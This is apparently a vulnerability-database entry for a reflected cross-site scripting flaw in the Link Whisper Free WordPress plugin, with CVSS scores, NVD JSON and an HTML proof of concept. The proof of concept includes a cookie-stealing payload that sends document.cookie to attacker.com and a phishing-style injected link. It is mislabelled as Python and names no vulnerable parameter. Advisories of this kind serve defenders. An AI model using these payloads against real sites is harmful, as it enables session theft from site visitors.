CVE-2025-67927

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Spencer Haws Link Whisper Free link-whisper allows Reflected XSS.This issue affects Link Whisper Free: from n/a through <= 0.8.8.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Link Whisper Free <= 0.8.8

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-67927 PoC - Reflected XSS in Link Whisper Free -->
<!-- Target: WordPress site with Link Whisper Free plugin <= 0.8.8 -->
<!-- This PoC demonstrates the reflected XSS vulnerability -->

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-67927 PoC</title>
</head>
<body>
    <h1>CVE-2025-67927 Reflected XSS PoC</h1>
    <p>Target: Link Whisper Free <= 0.8.8</p>
    
    <!-- Malicious URL that triggers XSS -->
    <p>Malicious URL:</p>
    <code id="malicious-url"></code>
    
    <script>
        // Generate malicious URL
        // Replace 'TARGET_URL' with the vulnerable WordPress site URL
        var targetUrl = 'TARGET_URL';
        var maliciousParam = '<script>alert("XSS Vulnerability - CVE-2025-67927")</script>';
        var maliciousUrl = targetUrl + '/?' + encodeURIComponent(maliciousParam);
        
        document.getElementById('malicious-url').textContent = maliciousUrl;
        
        // Display the actual PoC URL for testing
        console.log('Malicious URL:', maliciousUrl);
        
        /*
         * Attack scenario:
         * 1. Attacker crafts a URL with malicious XSS payload in parameter
         * 2. Attacker tricks victim into clicking the link (phishing, social engineering)
         * 3. Victim's browser executes the injected JavaScript
         * 4. Attacker can steal cookies, session tokens, or perform actions as the victim
         * 
         * Example attack payload:
         * <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">
         */
    </script>
    
    <!-- Alternative PoC: Direct link injection -->
    <!-- 
    <a href="http://vulnerable-site.com/?<script>alert(document.cookie)</script>">
        Click here for a prize!
    </a>
    -->
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-67927
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-67927
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-67927/
[4] VulDB https://vuldb.com/cve/CVE-2025-67927
[5] https://patchstack.com/database/Wordpress/Plugin/link-whisper/vulnerability/wordpress-link-whisper-free-plugin-0-8-8-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-67927", "sourceIdentifier": "[email protected]", "published": "2026-01-08T10:15:51.740", "lastModified": "2026-04-27T18:16:49.857", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Spencer Haws Link Whisper Free link-whisper allows Reflected XSS.This issue affects Link Whisper Free: from n/a through <= 0.8.8."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/link-whisper/vulnerability/wordpress-link-whisper-free-plugin-0-8-8-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}